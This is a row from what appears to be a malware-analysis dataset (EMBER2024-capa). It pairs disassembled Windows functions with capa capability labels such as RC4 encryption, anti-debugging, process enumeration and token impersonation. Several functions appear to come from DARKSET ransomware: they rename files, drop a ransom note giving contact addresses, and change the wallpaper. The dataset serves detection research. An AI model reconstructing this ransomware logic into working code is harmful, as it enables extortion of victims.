joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402470
Capabilities:
Check for peb beingdebugged flag
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xorps xmm0, xmm0
lea ecx, [ebp - 0x84]
push 0
push str.WinMain_:__f_n
movups xmmword [ebp - 0x84], xmm0
movq qword [ebp - 0x74], xmm0
call fcn.00402900
xorps xmm0, xmm0
lea ecx, [ebp - 0x1c]
push 0
push str.longFunction_:__f_n
movups xmmword [ebp - 0x1c], xmm0
movq qword [ebp - 0xc], xmm0
call fcn.00402900
xorps xmm0, xmm0
lea ecx, [ebp - 0x6c]
push 0
push str.loop__:__f_n
movups xmmword [ebp - 0x6c], xmm0
movq qword [ebp - 0x5c], xmm0
call fcn.00402900
mov esi, 0xa
xorps xmm0, xmm0
lea ecx, [ebp - 0x54]
push 0
push str.inside_loop__:__f_n
movups xmmword [ebp - 0x54], xmm0
movq qword [ebp - 0x44], xmm0
call fcn.00402900
xorps xmm0, xmm0
lea ecx, [ebp - 0x3c]
push 0
push str.internalCall_:__f_n
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
call fcn.00402900
lea ecx, [ebp - 0x3c]
call fcn.00402ad0
lea ecx, [ebp - 0x54]
call fcn.00402ad0
sub esi, 1
jne 0x4024e1
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
lea ecx, [ebp - 0x1c]
call fcn.00402ad0
push fcn.00401d90
call fcn.00402fe6
add esp, 4
lea eax, [ebp - 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
nop dword [eax]
push 0
push 0
push 0
push fcn.00401d90
push 0
push 0
call edi
mov dword [ebp + esi*4 - 0x24], eax
test eax, eax
je 0x4025c8
inc esi
cmp esi, 8
jb 0x402560
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor esi, esi
push 0xffffffffffffffff
push dword [ebp + esi*4 - 0x24]
call edi
inc esi
cmp esi, 8
jb 0x402587
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
call fcn.00401b10
call fcn.00401b10
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
mov dword [ebp - 0x98], eax
call fcn.004021e0
xor esi, esi
jmp 0x4025cd
mov esi, 1
lea ecx, [ebp - 0x84]
call fcn.00402ad0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00402ffe
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40396d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4039ac
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4039ac
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4039ac
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4039ac
cmp dword [ecx + 0x74], 0xe
jbe 0x4039ac
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x405890
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x2ab04
call fcn.00406950
push ebx
mov ebx, dword [esp + 0x2ab14]
push esi
push edi
mov edi, dword [esp + 0x2ab20]
xor esi, esi
xor ecx, ecx
mov eax, ecx
mov byte [esp + ecx + 0x10], cl
cdq
idiv edi
inc ecx
cmp ecx, 0x1557f
mov al, byte [edx + ebx]
mov byte [esp + ecx + 0x1558f], al
jl 0x4058af
xor ecx, ecx
xor edx, edx
xor eax, eax
mov dl, byte [esp + ecx + 0x15590]
mov al, byte [esp + ecx + 0x10]
add esi, edx
add eax, esi
mov esi, 0x1557f
cdq
idiv esi
inc ecx
cmp ecx, 0x1557f
mov esi, edx
mov dl, byte [esp + ecx + 0xf]
mov al, byte [esp + esi + 0x10]
mov byte [esp + esi + 0x10], dl
mov byte [esp + ecx + 0xf], al
jl 0x4058cd
mov ebx, dword [esp + 0x2ab18]
xor edi, edi
test ebx, ebx
jle 0x40597e
mov esi, dword [esp + 0x2ab24]
push ebp
mov ebp, dword [esp + 0x2ab18]
sub ebp, esi
lea eax, [ecx + 1]
mov ecx, 0x1557f
cdq
idiv ecx
xor eax, eax
mov ecx, edx
mov al, byte [esp + ecx + 0x14]
add eax, edi
mov edi, 0x1557f
cdq
idiv edi
mov edi, edx
mov dl, byte [esp + ecx + 0x14]
mov al, byte [esp + edi + 0x14]
mov byte [esp + edi + 0x14], dl
mov byte [esp + 0x10], al
mov byte [esp + ecx + 0x14], al
mov edx, dword [esp + 0x10]
xor eax, eax
mov al, byte [esp + edi + 0x14]
and edx, 0xff
add eax, edx
xor edx, edx
div dword [0x40a078]
mov al, byte [esp + edx + 0x14]
mov dl, byte [esi + ebp]
xor al, dl
mov byte [esi], al
inc esi
dec ebx
jne 0x405921
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x2ab04
ret
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x510024
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], al
add al, byte [eax]
add byte [eax], al
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
cld
invalid
stc
jb 0x51002e
pop ds
xor esi, dword [ecx - 0x49]
jno 0x50ffe2
cwde
leave
jmp 0x51008f
pushal
jmp 0x510034
call 0x51003f
dec ecx
stc
mov dl, 0xed
pop ecx
pop ebx
jb 0x510049
jne 0x50ffd9
jge 0x510029
sbb dword [edx - 0x383c7edc], 0xffffffff
invalid
add ebx, 0xffffffc7
jmp 0x510058
cmp dword [ebx], 0
stc
jmp 0x510067
je 0x5100ed
jmp 0x510076
mov ecx, ebx
jmp 0x510081
add ebx, 4
jmp 0x510089
mov edx, dword [ebx]
jmp 0x510097
and eax, 0x8ced9cec
in eax, dx
cmp ebp, dword [ebx + 3]
sar ecx, cl
add edx, ebx
stc
jb 0x5100a3
mov ah, 0xb1
mov ebx, 0xc91a740d
mov eax, dword [ebx + 4]
jmp 0x5100ac
sub dword [edx], 0x3c62176a
jmp 0x5100b6
add edx, 4
jmp 0x5100bf
sub eax, 1
jmp 0x5100c6
jne 0x5100a6
jmp 0x5100d0
add ebx, 8
jmp 0x5100d7
sub dword [ecx], 1
stc
jb 0x5100de
and ecx, dword [edi]
test dword [eax + 0x72ffffff], esp
add dh, byte [ecx + 0xee83b]
add byte [eax], al
jne 0x510084
jb 0x5100e8
mov cl, 0x3b
call 0x5100fb
jmp 0x5100f1
popal
jmp 0x5100f6
jmp 0x50ed00
Function at 0x401000
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
xor ebx, ebx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
jne 0x401022
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x22c], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x208]
mov ecx, str.explorer.exe
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x401076
test dx, dx
je 0x401072
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x401076
add ecx, 4
add eax, 4
test dx, dx
jne 0x401050
xor eax, eax
jmp 0x40107b
sbb eax, eax
or eax, 1
test eax, eax
je 0x401096
lea eax, [ebp - 0x22c]
push eax
push esi
call edi
test eax, eax
jne 0x401041
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x224]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401390
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
movzx edx, byte [0x40764f]
movzx eax, byte [0x40764e]
shl edx, 8
or edx, eax
mov dword [ebp - 0x40], 0x61343839
movzx eax, byte [0x40764d]
shl edx, 8
or edx, eax
mov dword [ebp - 0x2c], 0x36356473
movzx eax, byte [0x40764c]
push esi
mov esi, ecx
shl edx, 8
movzx ecx, byte [0x407653]
or edx, eax
shl ecx, 8
movzx eax, byte [0x407652]
or ecx, eax
mov dword [ebp - 0x3c], edx
movzx eax, byte [0x407651]
shl ecx, 8
or ecx, eax
mov dword [ebp - 0x18], 0x3364735a
movzx eax, byte [0x407650]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407656]
mov dword [ebp - 0x38], ecx
movzx ecx, byte [0x407657]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407655]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407654]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x40765a]
mov dword [ebp - 0x34], ecx
movzx ecx, byte [0x40765b]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407659]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407658]
shl ecx, 8
or ecx, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], ecx
movzx ecx, byte [0x40765f]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
shl ecx, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
movzx eax, byte [0x40765e]
or ecx, eax
movzx eax, byte [0x40765d]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x40765c]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407662]
mov dword [ebp - 0x14], ecx
movzx ecx, byte [0x407663]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407661]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407660]
shl ecx, 8
or ecx, eax
mov dword [ebp - 0x10], ecx
movzx ecx, byte [0x407667]
shl ecx, 8
movzx eax, byte [0x407666]
lea edx, [ebp - 0x40]
or ecx, eax
mov dword [ebp - 4], 0x31733261
movzx eax, byte [0x407665]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407664]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x40766a]
mov dword [ebp - 0xc], ecx
movzx ecx, byte [0x40766b]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407669]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x407668]
shl ecx, 8
or ecx, eax
mov dword [ebp - 8], ecx
lea ecx, [ebp - 0x80]
call fcn.004010b0
xor eax, eax
nop dword [eax]
mov edx, eax
mov ecx, eax
shr edx, 2
and ecx, 3
shl ecx, 3
mov edx, dword [ebp + edx*4 - 0x80]
shr edx, cl
mov byte [eax + esi], dl
inc eax
cmp eax, 0x40
jl 0x401550
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401680
Capabilities:
Get disk information
Get os information via kuser_shared_data
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
movzx esi, ax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x38]
add eax, eax
add ax, word [0x7ffe026c]
add ax, word [0x7ffe0270]
add ax, word [ebp - 4]
add ax, word [ebp - 0x24]
add ax, word [ebp - 0x34]
add ax, word [ebp - 0x20]
add ax, word [ebp - 0x28]
add ax, word [ebp - 0x12]
add ax, word [ebp - 0x14]
add ax, word [ebp - 0xe]
add ax, si
movzx eax, ax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401a00
Capabilities:
Create process on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
movups xmm0, xmmword [str.C:ProgramData]
mov eax, dword [0x4034dc]
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x1f8], eax
add ecx, 0xfffffffe
mov ax, word [0x4034e0]
movups xmmword [ebp - 0x210], xmm0
mov word [ebp - 0x1f4], ax
movq xmm0, qword [0x4034d4]
movq qword [ebp - 0x200], xmm0
nop dword [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x401a50
mov eax, dword [str.z.png]
push esi
push 0
mov dword [ecx], eax
mov eax, dword [0x4034e8]
push 0x80
mov dword [ecx + 4], eax
mov eax, dword [0x4034ec]
push 2
mov dword [ecx + 8], eax
mov ax, word [0x4034f0]
push 0
push 0
mov word [ecx + 0xc], ax
lea eax, [ebp - 0x210]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x25e6
push 0x405040
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str..DARKSETDefaultIcon
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
pop esi
test eax, eax
jne 0x401b21
push 0x15
push str.C:ProgramDataz.png
push 1
push eax
push 0x4030f0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
test eax, eax
je 0x401b0e
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push str.ie4uinit.exe__show
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esp, ebp
pop ebp
ret
Function at 0x401b30
Capabilities:
Change the wallpaper
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 3
push str.C:ProgramDataz.png
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
lea eax, [ebp - 8]
push eax
push 2
push 0
push str.Control_PanelDesktop
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401bbb
push 4
lea eax, [ebp - 4]
mov dword [ebp - 4], 0xa
push eax
push 1
push 0
push str.WallpaperStyle
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 1
push 0
push str.TileWallpaper
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
push str.C:ProgramDataz.png
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov esp, ebp
pop ebp
ret

Function at 0x401da0
Capabilities:
Get os information via kuser_shared_data
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push esi
push edi
call fcn.00401680
mov ecx, dword [0x7ffe026c]
add ecx, 0x8ba
add ecx, dword [0x7ffe0270]
add eax, ecx
lea ecx, [ebp - 0x10]
cdq
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.00401c50
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0x67452301
lea eax, [ebp - 0x10]
movlpd qword [ebp - 0x78], xmm0
add esp, 8
mov dword [ebp - 0x6c], 0xefcdab89
mov dword [ebp - 0x68], 0x98badcfe
lea edx, [eax + 1]
mov dword [ebp - 0x64], 0x10325476
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e00
sub eax, edx
lea ecx, [ebp - 0x78]
push eax
lea edx, [ebp - 0x10]
call fcn.00401700
add esp, 4
lea ecx, [ebp - 0x78]
call fcn.00401780
movups xmm0, xmmword [ebp - 0x20]
mov ecx, str.396670357_r_n
movups xmmword [0x40764c], xmm0
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
call fcn.00401bc0
mov ecx, 0x403718
mov dword [0x407630], eax
call fcn.00401bc0
push edi
push esi
lea ecx, [ebp - 0x10]
mov dword [0x407644], eax
call fcn.00401600
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.00401cf0
add esp, 0x10
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402300
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
push edi
sub esp, 8
mov ebx, ecx
lea ecx, [ebp - 0x408]
call fcn.00402270
lea edx, [ebp - 0x208]
add esp, 8
mov eax, ebx
sub edx, ebx
nop dword [eax]
movzx ecx, word [eax]
lea eax, [eax + 2]
mov word [edx + eax - 2], cx
test cx, cx
jne 0x402330
lea ecx, [ebp - 0x208]
add ecx, 0xfffffffe
nop dword [eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x402350
mov eax, dword [0x403598]
lea edx, [ebp - 0x408]
mov dword [ecx], eax
mov esi, edx
mov ax, word [0x40359c]
mov word [ecx + 4], ax
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402375
lea edi, [ebp - 0x208]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402390
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x208]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x4023b3
mov eax, dword [str._.DARKSET]
mov dword [ecx], eax
mov eax, dword [0x4035a4]
mov dword [ecx + 4], eax
mov eax, dword [0x4035a8]
mov dword [ecx + 8], eax
mov eax, dword [0x4035ac]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4035b0]
mov dword [ecx + 0x10], eax
lea eax, [ebp - 0x208]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
lea edx, [ebp - 0x20c]
sub esp, 0x20c
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x402411
lea ecx, [ebp - 0x20c]
add ecx, 0xfffffffe
nop word [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x402430
mov eax, dword [str.ReadMe.txt]
mov dword [ecx], eax
mov eax, dword [0x4035b8]
push edi
mov dword [ecx + 4], eax
mov eax, dword [0x4035bc]
push 0
mov dword [ecx + 8], eax
mov eax, dword [0x4035c0]
push 0x80
mov dword [ecx + 0xc], eax
mov eax, dword [0x4035c4]
push 2
push 0
mov dword [ecx + 0x10], eax
mov eax, dword [0x4035c8]
push 0
mov dword [ecx + 0x14], eax
lea eax, [ebp - 0x20c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40249e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 4]
push 0
push eax
push 0x201
push str.All_your_files_have_been_encrypted_due_to_a_security_problem_with_your_PC._If_you_want_to_restore_them__write_us_to_the_e_mail_darksetran_gmail.com_r_nIf_there_is_no_response_from_our_mail__you_can_install_the_Jabber_client_and_write_to_us_in_support_of_Darkset_onionmail.org_r_nWrite_this_ID_in_the_title_of_your_message
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 7
push str._nID_:
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 0x21
push 0x407664
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4024f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x274
push ebx
push esi
push edi
mov dword [esp + 0x14], ecx
call fcn.00401000
mov ebx, eax
mov dword [esp + 0x10], 0
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push eax
call esi
mov edi, dword [esp + 0xc]
lea eax, [esp + 0x18]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40257e
mov eax, dword [esp + 0x18]
push 0
push 0
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x24]
push 0x10
mov dword [esp + 0x34], eax
lea eax, [esp + 0x2c]
push eax
push 0
push edi
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 1
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x10]
push ecx
push 0x2000000
push eax
call esi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x10000
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x4026e0
push dword [esp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4035f0
push ebx
call edi
lea eax, [esp + 0x30]
push eax
push ebx
call dword [0x407640]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x4026e0
xor esi, esi
push dword [esi + 0x403940]
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4026bb
add esi, 4
cmp esi, 0x98
jb 0x4025f5
push dword [esp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x4035f8
push ebx
call edi
lea eax, [esp + 0x5c]
push eax
push ebx
call edi
mov eax, dword [esp + 0x30]
test al, 0x10
jne 0x4026ad
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
sub edi, 1
js 0x4026a5
lea esi, [esp + 0x5c]
lea esi, [esi + edi*2]
cmp word [esi], 0x2e
jne 0x40269d
push 0x4035fc
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4026bb
push str..exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4026bb
mov ecx, ebx
mov dword [0x407658], 0x752a
mov dword [0x40765c], 0
call fcn.00402050
mov ecx, ebx
call fcn.00402300
sub esi, 2
sub edi, 1
jns 0x402655
mov eax, dword [esp + 0x30]
test al, 0x10
je 0x4026bb
mov ecx, ebx
call fcn.00402400
mov ecx, ebx
call fcn.004024f0
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x30]
push eax
push esi
call dword [0x407648]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
test eax, eax
jne 0x4025f3
push esi
call dword [0x407638]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c8175
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4c81b4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4c81b4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4c81b4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4c81b4
cmp dword [ecx + 0x74], 0xe
jbe 0x4c81b4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4cabd4
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4cac71
push ebx
push esi
call fcn.004cab9d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004cab33
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4cac1e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4cac70
push edi
push eax
call fcn.004c8d60
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4cac3e
call fcn.004c8d10
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4cac6f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004cab33
add esp, 0x20
test eax, eax
jne 0x4cac5d
push edi
call fcn.004c8d10
jmp 0x4cac65
push ebx
call fcn.004c8d10
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret